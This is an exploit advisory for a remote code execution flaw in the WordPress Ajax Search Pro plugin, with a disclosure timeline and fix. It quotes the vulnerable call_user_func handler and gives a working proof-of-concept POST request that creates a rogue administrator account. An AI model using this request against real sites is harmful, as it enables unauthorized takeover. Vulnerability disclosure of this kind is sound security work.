exploit the possibilities

WordPress Ajax Search Pro Remote Code Execution

WordPress Ajax Search Pro Remote Code Execution
Posted Mar 22, 2015
Authored by Evex

WordPress Ajax Search Pro plugin suffered from a remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | b8f81b26f066ad7e45db8bfa9f0c2c73

WordPress Ajax Search Pro Remote Code Execution

Change Mirror Download
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WordPress ajax-search-pro Plugin Remote Code Execution
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[-] Plugin Link:

http://codecanyon.net/item/ajax-search-pro-for-wordpress-live-search-plugin/3357410

also affected:
https://wordpress.org/plugins/ajax-search-lite/
https://wordpress.org/plugins/related-posts-lite/

[-] Vulnerability Description:

This vulnerability allows any registered user to execute arbitrary functions
vulnerability code:

add_action('wp_ajax_wpdreams-ajaxinput', "wpdreams_ajaxinputcallback");
if (!function_exists("wpdreams_ajaxinputcallback")) {
function wpdreams_ajaxinputcallback() {
$param = $_POST;
echo call_user_func($_POST['wpdreams_callback'], $param);
exit;
}
}

this will allow any registered user to execute any function he wants with
1st param set to array($_POST)
since wordpress core provides some functions that accept 1st param as an
array then,
wp_insert_user have a role option for the user you are inserting, this
option can insert a new administrator

[-] Proof of Concept:

this will register an administrator with username "xADMIN" and password
"xPASS"

url:
http://localhost/x/wordpress/wp-admin/admin-ajax.php?page=ajax-search-pro/backend/settings.php&action=wpdreams-ajaxinput
post data:
wpdreams_callback=wp_insert_user&user_login=xADMIN&user_pass=xPASS&role=administrator

[-] Fix:

Updated to the latest version.

[-] Timeline:

09 March - Vendor Notified
09 March - Fix Released
18 March - Public Disclosure

[-] Refernces:
http://research.evex.pw/?vuln=9 <http://research.evex.pw/?vuln=8>

@Evex_1337

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